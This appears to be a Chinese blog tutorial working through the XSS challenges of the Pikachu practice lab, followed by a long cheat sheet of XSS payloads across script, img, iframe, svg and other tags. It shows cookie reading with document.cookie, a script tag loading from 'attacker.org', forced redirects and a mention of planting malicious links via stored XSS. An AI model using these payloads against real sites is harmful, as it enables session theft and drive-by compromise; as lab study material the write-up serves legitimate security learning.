Pikachu(皮卡丘靶场)初识XSS(常见标签事件及payload总结)

目录

1、反射型xss(get)

2、反射性xss(post)

3、存储型xss

4、DOM型xss

5、DOM型xss-x


XSS又叫跨站脚本攻击,是HTML代码注入,通过对网页注入浏览器可执行代码,从而实现攻击。

1、反射型xss(get)

Which NBA player do you like?

由于提交框对输入长度有限制,我们直接对请求的参数 message 进行修改

使用alert进行进行弹窗测试 ,构造payload:

xss_reflected_get.php?message=<script>alert(1)</script>&submit=submit

出现弹窗

注意:如果测试内容不是数字,而是字符串,需要引号(单引号或者双引号)包裹。 

比如:

xss_reflected_get.php?message=<script>alert('Myon')</script>&submit=submit

2、反射性xss(post)

使用很常见的弱口令

用户名:admin

密码:123456

登陆成功

先进行弹窗测试,这里没有长度限制

读取所有可从此位置访问的cookie,构造payload

<script>alert(document.cookie)</script>

拿到:

ant[uname]=admin; 
ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815;
PHPSESSID=m8qbdmsb2npsiaktboiok0p9mo

很明显密码进行了md5加密,虽然md5加密是不可逆的,但是可以碰撞:

关于弹窗测试的常用payload:

<script>alert(/1/)</script>
<script>prompt(1)</script> 
<script>confirm(1)</script>

alert()方法:显示一条弹出提示消息和确认按钮的警告框,alert()是一个阻塞的函数,如果我们不点确认按钮,后面的内容就不会加载出来。

prompt()方法:显示提示用户进行输入的对话框,这个方法返回的是用户输入的字符串。

confirm()方法:显示一个含有指定消息和确认和取消按钮的确认框,如果点击"确定"返回true,否则返回false。

3、存储型xss

首先尝试获取cookie

<script>alert(document.cookie)</script>

实现网页直接跳转常用payload:

<script type="text/javascript">window.location.href="跳转的目的地址";</script>
<script type="text/javascript">window.location.replace("跳转的目的地址");</script>
<script type="text/javascript">window.location.assign("跳转的目的地址");</script>

关于三者的区别:

window.location.href:location.href是一个属性,改变url地址;

window.location.assign: assign会添加记录到浏览历史, 可以点击后退返回上一页面;

window.location.replace :通过指定URL替换当前缓存在历史里的项目,页面跳转后无法回退。 

尝试将跳转页面替换为我自己博客主页地址,构造payload:

<script type="text/javascript">window.location.replace("https://blog.csdn.net/Myon5?type=blog");</script>

弹窗之后直接跳转到了我的CSDN个人主页面

为了更加清楚地反应储存型的特点:攻击代码会长期存在于服务器

我使用手机去访问这个页面:

也是出现了相同的弹窗,随后跳转至我的博客主页

我们还可以将一个恶意的URL通过存储型XSS挂到页面中(网页挂马),只要存在未打相应补丁的用户访问了挂马页面,恶意攻击者便可获取受害者的控制权限(配合MSF)。

4、DOM型xss

先进行弹窗测试,但是没有出现弹窗,回显:what do you see?

点击之后发现这里直接将我们提交的内容拼接到了url后面

查看源代码:

domxss 的函数从具有 id 为 "text" 的元素中获取输入值,然后将其作为链接的 href 属性值插入到具有 id 为 "dom" 的元素的 innerHTML 中。 

尝试它给的payload:

'><img src="#" οnmοuseοver="alert('xss')">

通过在链接的 href 属性中闭合单引号,然后插入一个图片元素,该元素的 onmouseover 事件触发一个弹窗,显示 "xss"。

当我将鼠标悬停在图片上时,触发弹窗

' οnclick="alert('xss')">

在链接的 href 属性中闭合单引号,然后插入一个新的 onclick 事件,该事件触发一个弹窗,显示 "xss"。

点击该链接,触发弹窗

触发的方式还有很多:

(1)使用JavaScript事件处理器

' onmouseover="alert('XSS')"

(2)使用嵌套标签

'><img src="#" onmouseover="alert('XSS')">

(3)通过onerror事件触发

'><img src=x onerror=alert('XSS')>

4、使用JavaScript伪协议(点击触发)

javascript:alert(1)

如果键入一个网站地址,点击后则会实现页面跳转

关于a标签:

<a href=”javascript:alert(1)”>点击触发</a>
<a href="https://blog.csdn.net/Myon5?type=blog">点击触发</a>

其他常用标签

<script>标签:
<script>alert('XSS')</script>
<script>console.log('XSS')</script>
<script>alert`XSS`</script>

<script>alert(/1/)</script>
<script>prompt(1)</script> 
<script>confirm(1)</script>
<script src="http://attacker.org/malicious.js"></script>
<script src=data:text/javascript,alert(1)></script>
<script>setTimeout(alert(1),0)</script>


<img>标签:
<img src="invalid" οnerrοr="alert('XSS')">
<img src=x οnerrοr=alert('XSS')>
<img src="x" οnerrοr="javascript:alert('XSS')">
<img src=x οnerrοr=prompt(1);>
<img src=javascript:alert('1')>


<a>标签:
<a href="javascript:alert('XSS')">Click me</a>
<a href="#" οnclick="alert('XSS')">Click me</a>
<a href="javascript:void(0)" οnclick="alert('XSS')">Click me</a>


<iframe>标签:
<iframe src="javascript:alert('XSS')"></iframe>
<iframe src="data:text/html,<script>alert('XSS')</script>"></iframe>

<iframe src="javascript:alert(1)">
<iframe οnlοad=alert(1)>


<svg>标签:
<svg/οnlοad="alert('XSS')">
<svg><script>alert('XSS')</script></svg>


<body>标签:
<body οnlοad="alert('XSS')">


<img>标签(嵌入JavaScript代码):
<img src='x' οnerrοr='javascript:alert("XSS")'>
<img src='x' οnerrοr='alert\((1)\)'>

<img src=x οnerrοr=alert(1)>
<img src=x οnerrοr=prompt(1);>
<img src=javascript:alert('1')>


<input>标签:
<input type="text" value="'" οnmοuseοver="alert('XSS')">
<input type="text" value="'><img src=x οnerrοr=alert('XSS')>">


<div>标签:
<div οnmοuseοver="alert('XSS')">Hover me</div>
<div οnmοuseοver="alert('XSS')">Hover me</div>


<a>标签(使用DOM事件处理):
<a href="#" οnclick="alert('XSS')">Click me</a>
<a href="javascript:void(0)" οnclick="alert('XSS')">Click me</a>

其他:

<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>

常用事件
onclick: 点击触发 (<img src=x οnclick=alert(1)>)
onerror: 当 src 加载不出来时触发 (<img src=x οnerrοr=alert(1)>)
onload: 当 src 加载完毕触发(<img src=x οnlοad=alert(1)>)
onmouseover:鼠标指针移动到图片后触发(<img src=x οnmοuseοver=alert(1)>)
onmousemove: 鼠标指针移到指定的元素后触发(<img src=x οnmοusemοve=alert(1) >)
onfocus: 当 input 输入框获取焦点时触发(<input οnfοcus=javascript:alert(1) autofocus>)

5、DOM型xss-x

查看源码

和前面的触发方式一样

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/144619.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

hive更改表结构的时候报错

现象 FAILED: ParseException line 1:48 cannot recognize input near ADD COLUMN compete_company_id in alter table statement 23/11/14 17:59:27 ERROR org.apache.hadoop.hive.ql.Driver: FAILED: ParseException line 1:48 cannot recognize input near ADD COLUMN compe…

数据结构与算法【链表:一】Java实现

目录 链表 单向链表 哨兵链表 双向链表 环形链表 链表 链表是数据元素的线性集合&#xff0c;其每个元素都指向下一个元素&#xff0c;元素存储上并不连续。 随机访问性能 根据 index 查找&#xff0c;时间复杂度 O(n) 插入或删除性能 起始位置&#xff1a;O(1)结束位…

一文说清楚Openai的这波更新内容,大地震 一大波套壳公司倒闭

前几天Openai召开了首届的开发者大会&#xff0c;45分钟的会议&#xff0c;让千万用户感到兴奋&#xff0c;但是让万千的套壳的创业公司&#xff0c;却感觉如坐针毡。这次发布会发布了哪些功能&#xff1f;为什么会导致这种情况的发生&#xff1f;让我们接着往下讲 API升级且降…

【业务场景】长列表的处理

长列表的处理 1. 什么是长列表 在前端开发中&#xff0c;经常会遇到列表展示&#xff0c;如果列表项的数量比较多&#xff0c;我们一般选择采用分页的方式来进行处理 但传统的前后翻页方式只适用于后台的管理系统中&#xff0c;而在用户端、尤其是在移动端&#xff0c;为了保…

OSCNet: Orientation-Shared Convolutional Network for CT Metal Artifact Learning

OSCNet: 面向共享的CT金属伪影学习卷积网络 论文链接&#xff1a;https://ieeexplore.ieee.org/document/10237226 项目链接&#xff1a;https://github.com/hongwang01/OSCNet&#xff08;目前不会开源&#xff09; Abstract X射线计算机断层扫描(CT)已广泛应用于疾病诊断和…

计算机毕业设计选题推荐-记录生活微信小程序/安卓APP-项目实战

✨作者主页&#xff1a;IT研究室✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

GB28181/GB35114国标平台LiveGBS适配国产信创环境,使用国产数据库达梦数据库、高斯数据库、瀚高数据库的配置方法...

1、如何配置切换信创达梦数据库&#xff1f; livecms.ini -> [db]下面添加配置如&#xff1a; ... [db] dialectdm url dm://SYSDBA:Aa12345678localhost:5236/livegbs 2、如何配置切换高斯数据库&#xff1f; livecms.ini -> [db]下面添加配置如&#xff1a; ... [db] d…

洗地机是智商税吗?洗地机有没有必要买?2023洗地机推荐

传统的扫地拖地方式不仅时间长&#xff0c;被毛孩子和萌娃制造的顽固污渍更是让人头痛不已&#xff0c;高效又有效的地面清洁方式成了我们最大的诉求。目前洗地机受到青睐&#xff0c;异常火爆&#xff0c;也成为一众清洁扫地的选择之一&#xff0c;那洗地机到底是不是智商税呢…

物联网AI MicroPython学习之语法 umqtt客户端

学物联网&#xff0c;来万物简单IoT物联网&#xff01;&#xff01; umqtt 介绍 模块功能: MQTT客户端功能 - 连线、断线、发布消息、订阅主题、KeepAlive等功能。 MQTT协议采用订阅者/发布者模式&#xff0c;协议中定义了消息服务质量&#xff08;Quality of Service&#x…

Winform / WPF 自定义控件 —— IPV4 地址输入框

在开始阅读本文之前&#xff0c;如果您有学习创建自定义控件库并在其他项目中引用的需求&#xff0c;请参考&#xff1a;在Visual Studio中创建自定义Winform控件库并在其他解决方案中引用https://blog.csdn.net/YMGogre/article/details/126508042 0、引言 Winform / WPF 框架…

docker命令大全

1、查看Docker 容器占用的空间 docker ps -s2、查看所有容器 docker ps -a3、启动、关闭、重启一个已存在的容器 docker start <容器ID> docker stop <容器ID> docker restart <容器ID> 4、进入容器&#xff0c;退出终端的时候不会关闭container的ma…

线程池的使用

线程池的作用 降低线程创建和销毁的开销&#xff1a;线程的创建和销毁是比较昂贵的操作。通过使用线程池&#xff0c;可以避免频繁地创建和销毁线程&#xff0c;而是复用线程池中已经存在的线程&#xff0c;从而降低了开销。 控制并发度&#xff1a;通过控制线程池中线程的数量…

(个人实测保熟)记录Tecnomatix Process Simulate 16.1.2官方安装包及授权许可配置教程(Win10环境)

Tecnomatix Process Simulate 16是一款由西门子公司推出的一款工艺仿真解决方案,是虚拟制造仿真领域的领先解决方案,可帮助您数字化制造以及将创新思想和原材料转变为变革性产品的过程。在网上找了一些盗版的安装包&#xff0c;就很离谱。直接提示本"无法打开此安装程序包…

spring-cloud-alibaba-nacos

spring cloud nacos 安装和启动nacos # 解压nacos安装包 # tar -zvxf nacos-server-1.4.1.tar.gz# nacos默认是以集群的模式启动&#xff0c;此处先用单机模式 # cd /usr/local/mysoft/nacos/bin # sh startup.sh -m standalone# nacos 日志 # tail -f /usr/local/mysoft/na…

智慧隧道:TSINGSEE青犀远程视频AI智能监管平台保障隧道施工安全

一、背景与需求分析 随着我国交通运输量的增加以及新基建的不断规划和建设&#xff0c;公路建设工作也在持续开展中。高速公路隧道属于特殊构造段&#xff0c;因为隧道空间小&#xff0c;密闭性强&#xff0c;施工过程中一旦发生火灾、事故等&#xff0c;将带来重大人员伤亡和…

身份证照片怎么弄成200k以内?超级好用!

一些网站为了限制大的文件上传&#xff0c;提出了一些大小限制的要求&#xff0c;那么身份证如何弄成200k呢&#xff1f;下面介绍三种方法。 方法一&#xff1a; 使用嗨格式压缩大师 1、在电脑上打开安装好的软件&#xff0c;在首界面中点击“图片压缩”。 2、进入后上传需要…

Vue CLI脚手架安装、搭建、配置 和 CLI项目分析

目录 一、CLI快速入门 1. 官方介绍 : 2.安装Vue CLI : 3.搭建Vue CLI : 4.IDEA配置Vue CLI : 二、Vue CLI项目分析 1.结构分析 : 1.1 config 1.2 node_modules 1.3 src 1.4 static 2.流程分析 : 2.1 main.js 2.2 router/index.js 2.3 components/HelloWorld.vue 2.4 A…

“糖尿病日”感言

长期旺盛的写作欲&#xff0c;今天忽地就莫名其妙地衰退下来了。感到浑身都不舒服&#xff0c;特别是过去从未出现过的腰微痛、乏力现象发生了。 转念一想&#xff0c;或是老龄人一日不如一日的正常反应吧&#xff1f;而且&#xff0c;今天恰逢“ 联合国糖尿病日”&#xff0c…

mysql之MHA

1、定义 全称是masterhigh avaliabulity。基于主库的高可用环境下可以实现主从复制及故障切换&#xff08;基于主从复制才能故障切换&#xff09; MHA最少要求一主两从&#xff0c;半同步复制模式 2、作用 解决mysql的单点故障问题。一旦主库崩溃&#xff0c;MHA可以在0-30…